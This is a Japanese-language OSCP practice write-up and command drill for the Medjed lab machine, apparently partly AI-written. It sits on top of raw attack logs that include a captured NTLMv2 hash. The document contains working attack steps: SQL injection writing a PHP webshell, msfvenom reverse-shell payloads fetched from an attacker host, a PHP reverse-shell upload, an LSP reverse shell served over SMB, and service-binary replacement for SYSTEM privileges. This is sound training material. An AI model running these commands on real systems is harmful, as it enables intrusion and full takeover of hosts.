[2026-09-22 23:05:28] [*] user:::aaaaaaaaaaaaaaaa:62d4e109e1536cd51294d6e938e90188:01010000000000000084cd6b9b4add01e793ab8646259ed400000000010010007000420079004d0077006a0066004d00030010007000420079004d0077006a0066004d00020010007700790053007a00440066004e007700040010007700790053007a00440066004e007700070008000084cd6b9b4add010600040002000000080030003000000000000000000000000040000025dd7ed2c1beff82aaf9ed3df2e6a00ae379ef8e5a074c21a1e781fded7beb2d0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340035002e003200330037000000000000000000
[2026-09-22 23:05:28] [*] Connecting Share(1:IPC$)
[2026-09-22 23:05:28] [*] Connecting Share(2:SMB)
[2026-09-22 23:05:29] [*] AUTHENTICATE_MESSAGE (MEDJED\Jerren,MEDJED)
[2026-09-22 23:05:29] [*] Could not authenticate user!
[2026-09-22 23:05:29] [*] AUTHENTICATE_MESSAGE (MEDJED\Jerren,MEDJED)
[2026-09-22 23:05:29] [*] Could not authenticate user!
[2026-09-22 23:05:30] [*] AUTHENTICATE_MESSAGE (MEDJED\Jerren,MEDJED)
[2026-09-22 23:05:30] [*] Could not authenticate user!
[2026-09-22 23:05:44] [*] Disconnecting Share(1:IPC$)
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ curl http://192.168.240.127:8000/rev.lsp
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ sudo nc -nlvp 135
listening on [any] 135 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.240.127] 49858
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
c:\bd>whoami
whoami
nt authority\system
c:\bd>
netstat -ano | findstr 45332
tasklist /v | findstr /i "644"
netstat -ano | findstr 8000
tasklist /v | findstr /i "2432"
⇒
45332ポートのサービスは「Jerren」で実行されている。
一方、8000ポートのサービスは「SYSTEM」で実行されている。
┌──(kali@kali)-[~/oscp/pGpractice/Medjed/192.168.240.127]
└─$ sudo nc -nlvp 135
listening on [any] 135 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.240.127] 49873
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.
c:\bd>netstat -ano | findstr 45332
netstat -ano | findstr 45332
TCP 0.0.0.0:45332 0.0.0.0:0 LISTENING 644
TCP [::]:45332 [::]:0 LISTENING 644
c:\bd>tasklist /v | findstr /i "644"
tasklist /v | findstr /i "644"
svchost.exe 4624 Services 0 7,644 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
xampp-control.exe 6888 Console 1 20,644 K Unknown MEDJED\Jerren 0:00:00 N/A
httpd.exe 644 Console 1 18,728 K Unknown MEDJED\Jerren 0:00:00 N/A
svchost.exe 6448 Services 0 10,744 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
c:\bd>netstat -ano | findstr 8000
netstat -ano | findstr 8000
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 2432
TCP 192.168.240.127:8000 192.168.45.237:44612 CLOSE_WAIT 2432
TCP 192.168.240.127:8000 192.168.45.237:50730 TIME_WAIT 0
TCP 192.168.240.127:8000 192.168.45.237:50734 TIME_WAIT 0
TCP 192.168.240.127:8000 192.168.45.237:53650 ESTABLISHED 2432
TCP 192.168.240.127:8000 192.168.45.237:53654 ESTABLISHED 2432
TCP 192.168.240.127:8000 192.168.45.237:53658 ESTABLISHED 2432
TCP 192.168.240.127:8000 192.168.45.237:53664 ESTABLISHED 2432
TCP 192.168.240.127:8000 192.168.45.237:53668 ESTABLISHED 2432
TCP [::]:8000 [::]:0 LISTENING 2432
c:\bd>tasklist /v | findstr /i "2432"
tasklist /v | findstr /i "2432"
bd.exe 2432 Services 0 9,916 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
c:\bd>
walkthrough(AI)¶
対象は 192.168.240.127。
通常ルートは、BarracudaDriveのWeb File ServerからXAMPPのWebルートへPHPリバースシェルを配置して medjed\jerren を取得し、BarracudaDriveサービスの実行ファイルを差し替えてSYSTEMへ昇格する流れ。
通常ルート①:Jerrenへ侵入¶
1. 列挙¶
主に使用するポートは次のとおり。
30021/tcp FTP(anonymous login可)
8000/tcp BarracudaDrive / FuguHub
33033/tcp UserproMedjed
44330/tcp BarracudaDrive Web File Server
45332/tcp Apache / PHP
45443/tcp Apache / PHP
30021/tcpはAnonymous FTPで一括取得できるが、有益な情報はなかった。
lftp -p 30021 -u anonymous,anonymous 192.168.240.127 -e 'mirror / ./ftp_download; bye'
2. BarracudaDriveの管理者を設定¶
Config Wizardへアクセスし、任意の管理者アカウントを設定する。
http://192.168.240.127:8000/Config-Wizard/wizard/SetAdmin.lsp

Config WizardからBarracudaDriveの管理者を設定する。
3. PHPリバースシェルをWebルートへ配置¶
phpinfo.php からApacheのDocumentRootが C:\xampp\htdocs であることを確認する。
curl http://192.168.240.127:45443/phpinfo.php | grep -i root
BarracudaDriveのWeb File Serverへ管理者アカウントでログインし、次のディレクトリを開く。
https://192.168.240.127:44330/fs/C/xampp/htdocs/
KaliのIPと待受ポートを設定したPHPリバースシェルを shell.php としてアップロードする。生メモではrevshells.comの PHP Ivan Sincek を使用している。

Web File Serverから C:\xampp\htdocs へPHPファイルを配置できる。
Kali側で待ち受け、45332/tcpから shell.php を実行する。
nc -lvnp 4444
curl -i http://192.168.240.127:45332/shell.php

リバースシェルで medjed\jerren を確認。
4. local flagを取得¶
whoami
type C:\Users\Jerren\Desktop\local.txt

JerrenのDesktopからlocal flagを取得。
別解①:SQLインジェクションでJerrenへ侵入¶
通常ルートのPHPアップロードを使わず、33033/tcpのUserproMedjedからPHP webshellを作成する経路。
1. jerren.devopsのパスワードをリセット¶
公開プロフィールからユーザー名 jerren.devops とPassword reminder paranoid を確認し、Forgot Passwordから任意の新しいパスワードへ変更する。

ユーザー名とPassword reminderを使用してパスワードを更新できる。
ログイン後、プロフィール編集画面の Request Profile SLUG (experimental) を開く。
2. /slug のSQLインジェクションを確認¶
URLパラメータへ単一引用符を与えると、MySQLの構文エラーが表示される。
curl -i -G "http://192.168.240.127:33033/slug" --data-urlencode "URL='"
curl -i -G "http://192.168.240.127:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
curl -i -G "http://192.168.240.127:33033/slug" --data-urlencode "URL=' OR 1=2-- -"

Railsのエラー画面から、MySQLクエリへ入力値が直接連結されていることを確認できる。
3. INTO OUTFILEでPHP webshellを作成¶
SQLインジェクションから C:\xampp\htdocs\cmd.php を書き込む。
curl -G "http://192.168.240.127:33033/slug" \
--data-urlencode "URL=' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/cmd.php'-- -"
45332/tcpからコマンドを実行できることを確認する。
curl "http://192.168.240.127:45332/cmd.php?cmd=whoami"
medjed\jerren
4. Jerrenのリバースシェルを取得¶
LHOSTは試験時のKali IPへ置き換える。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.237 LPORT=5555 -f exe -o shell.exe
python3 -m http.server 8000
webshellからペイロードを取得する。
curl -G "http://192.168.240.127:45332/cmd.php" \
--data-urlencode 'cmd=powershell -c "iwr http://192.168.45.237:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe"'
リスナーを起動して実行する。
nc -lvnp 5555
curl "http://192.168.240.127:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
取得後は、通常ルートと同様にJerrenのlocal flagを取得する。
通常ルート②:SYSTEMへ権限昇格¶
参考: BarracudaDrive v6.5 - Insecure Folder Permissions
ここからは、通常ルートまたは別解①で取得したJerrenのシェルから実行する。
1. BarracudaDriveサービスを確認¶
サービス設定とディレクトリの権限を確認する。
cacls C:\bd
cacls C:\bd\bd.exe
sc qc bd
重要な確認結果は次の2点。
C:\bd は Authenticated Users が変更可能
bdサービスは C:\bd\bd.exe を LocalSystem で自動実行
ポートのPIDと実行ユーザーも確認できる。PIDは環境ごとに変わる。
netstat -ano | findstr 45332
tasklist /v | findstr /i "<45332のPID>"
netstat -ano | findstr 8000
tasklist /v | findstr /i "<8000のPID>"
生メモでは、45332/tcpの httpd.exe は MEDJED\Jerren、8000/tcpの bd.exe は NT AUTHORITY\SYSTEM で動作していた。
2. サービスバイナリを差し替える¶
Jerrenのシェルから、bd.exe をリバースシェル用の shell.exe へ差し替えて再起動する。
cd C:\bd
move bd.exe bd.exe.bak
copy C:\xampp\htdocs\shell.exe C:\bd\bd.exe
shutdown /r

C:\bd\bd.exe を差し替え、OSを再起動する。
Kali側で再度待ち受ける。
nc -lvnp 5555
再起動後、置き換えた bd.exe がLocalSystemで実行され、SYSTEMシェルが返る。
3. proof flagを取得¶
whoami
type C:\Users\Administrator\Desktop\proof.txt
nt authority\system

AdministratorのDesktopでSYSTEM権限とproof flagを確認。
別解②:FuguHubのLSPからSYSTEMを直接取得¶
参考:
別解②はJerrenを経由せず、8000/tcpでSYSTEMとして動作するBarracudaDriveから直接SYSTEMシェルを取得する。
FuguHubのWeb File Serverで次の公開ディレクトリを開き、rev.lsp を C:\bd\cmsdocs 配下へ配置する。
http://192.168.240.127:8000/fs/C/bd/cmsdocs/

FuguHubのWeb File Serverから C:\bd\cmsdocs を操作できる。
LSPリバースシェルを取得し、rev.lsp 内の接続先をKaliのIPへ変更する。
git clone https://github.com/the-emmons/lsp-reverse-shell
cd lsp-reverse-shell
同じディレクトリに ncat.exe を置き、SMBサーバーとリスナーを起動する。
sudo impacket-smbserver SMB . -comment share -ts -debug -smb2support -username user -password 'pass'
sudo nc -nlvp 135
配置したLSPへアクセスする。
curl http://192.168.240.127:8000/rev.lsp
bd.exe がSYSTEMで動作しているため、返ってくるリバースシェルもSYSTEMになる。
whoami
type C:\Users\Administrator\Desktop\proof.txt
drill¶
ATTACKER_IP はKaliのtun0 IP、TARGET_IP は対象ホストのIPである。実値は環境ごとに設定する。
0. Kali:変数を設定¶
export ATTACKER_IP='<Kaliのtun0 IP>'
export TARGET_IP='<対象ホストのIP>'
echo "ATTACKER_IP=$ATTACKER_IP"
echo "TARGET_IP=$TARGET_IP"
1. Nmapで列挙¶
全TCPポートを対象に、サービスとバージョンを確認する。
sudo nmap -Pn -n -sC -sV -p- --min-rate 1000 "$TARGET_IP"
特に 8000/tcp、33033/tcp、44330/tcp、45332/tcp、45443/tcp のWebサービスを確認する。
通常ルート¶
1. BarracudaDrive管理者設定¶
ブラウザでConfig Wizardを開き、任意の管理者アカウントを設定する。
http://TARGET_IP:8000/Config-Wizard/wizard/SetAdmin.lsp
2. PHPリバースシェルを配置¶
phpinfo.php でDocumentRootを確認する。
curl http://$TARGET_IP:45443/phpinfo.php | grep -i root
BarracudaDriveのWeb File Serverへログインし、C:\xampp\htdocs を開く。
https://TARGET_IP:44330/fs/C/xampp/htdocs/
revshells.com で次の条件を設定し、PHPリバースシェルを作成する。
OS : Windows
Payload : PHP Ivan Sincek
IP : ATTACKER_IP
Port : 4444
生成したペイロードを shell.php として保存し、Web File Serverからアップロードする。
3. Jerrenのシェルとlocal flag¶
nc -lvnp 4444
別ターミナルからPHPリバースシェルを実行する。
curl -i http://$TARGET_IP:45332/shell.php
whoami
type C:\Users\Jerren\Desktop\local.txt
4. BarracudaDriveサービスを確認¶
Kali側でBarracudaDrive 6.5の既知の脆弱性を検索する。
searchsploit BarracudaDrive 6.5
searchsploit -x windows/local/48789.txt
BarracudaDrive v6.5 - Insecure Folder Permissions が該当する。Jerrenのシェルでサービス設定とアクセス権を確認する。
cacls C:\bd
cacls C:\bd\bd.exe
sc qc bd
確認点:
C:\bd は Authenticated Users が変更可能
BINARY_PATH_NAME: C:\bd\bd.exe
SERVICE_START_NAME: LocalSystem
5. サービスバイナリを差し替える¶
通常ルートのPHPシェルしかない場合は、先にWindows用リバースシェルを作成して C:\xampp\htdocs\shell.exe へ配置する。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f exe -o shell.exe
python3 -m http.server 8000
Jerrenのシェルから取得する。
iwr http://ATTACKER_IP:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe
bd.exe を差し替えて再起動する。
cd C:\bd
move bd.exe bd.exe.bak
copy C:\xampp\htdocs\shell.exe C:\bd\bd.exe
shutdown /r
Kali側で待ち受ける。
nc -lvnp 5555
6. SYSTEMとproof flag¶
whoami
type C:\Users\Administrator\Desktop\proof.txt
別解①:SQLインジェクションでJerrenへ侵入¶
1. jerren.devopsのパスワードをリセット¶
URL: http://$TARGET_IP:33033/
Username: jerren.devops
Reminder: paranoid
Forgot Passwordから任意のパスワードへ変更し、ログイン後に Request Profile SLUG (experimental) を開く。
2. /slug のSQLインジェクションを確認¶
curl -i -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL='"
curl -i -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
curl -i -G "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR 1=2-- -"
レスポンス時間を比較し、タイムベースSQLインジェクションも確認する。
time curl -sG "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR SLEEP(0)-- -" -o /dev/null
time curl -sG "http://$TARGET_IP:33033/slug" --data-urlencode "URL=' OR SLEEP(3)-- -" -o /dev/null
3. INTO OUTFILEでPHP webshellを作成¶
curl -G "http://$TARGET_IP:33033/slug" \
--data-urlencode "URL=' UNION SELECT '<?php system(\$_GET[\"cmd\"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/cmd.php'-- -"
curl "http://$TARGET_IP:45332/cmd.php?cmd=whoami"
4. Jerrenのリバースシェルとlocal flag¶
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f exe -o shell.exe
python3 -m http.server 8000
curl -G "http://$TARGET_IP:45332/cmd.php" \
--data-urlencode 'cmd=powershell -c "iwr http://ATTACKER_IP:8000/shell.exe -OutFile C:\xampp\htdocs\shell.exe"'
nc -lvnp 5555
curl "http://$TARGET_IP:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
type C:\Users\Jerren\Desktop\local.txt
SYSTEMへの昇格は、通常ルートの「BarracudaDriveサービスを確認」以降を実行する。
別解②:FuguHubのLSPからSYSTEMを直接取得¶
8000/tcpを列挙し、Webルート直下の favicon.ico を確認する。
dirsearch -u "http://$TARGET_IP:8000/" -e php,txt,bak,zip,conf -x 404
200 - 600B - /favicon.ico
FuguHubのWeb File Serverで C:\bd を開き、配下から favicon.ico を検索する。
http://TARGET_IP:8000/fs/C/bd/
C:\bd\cmsdocs\favicon.ico が見つかるため、C:\bd\cmsdocs が8000/tcpの公開ディレクトリだと判断する。
Web File Serverからこのディレクトリを開き、編集済みの rev.lsp を配置する。
http://TARGET_IP:8000/fs/C/bd/cmsdocs/
git clone https://github.com/the-emmons/lsp-reverse-shell
cd lsp-reverse-shell
rev.lsp の接続先を ATTACKER_IP に変更し、同じディレクトリへ ncat.exe を置く。
sudo impacket-smbserver SMB . -comment share -ts -debug -smb2support -username user -password 'pass'
別ターミナルで待ち受け、LSPへアクセスする。
sudo nc -nlvp 135
curl http://$TARGET_IP:8000/rev.lsp
whoami
type C:\Users\Administrator\Desktop\proof.txt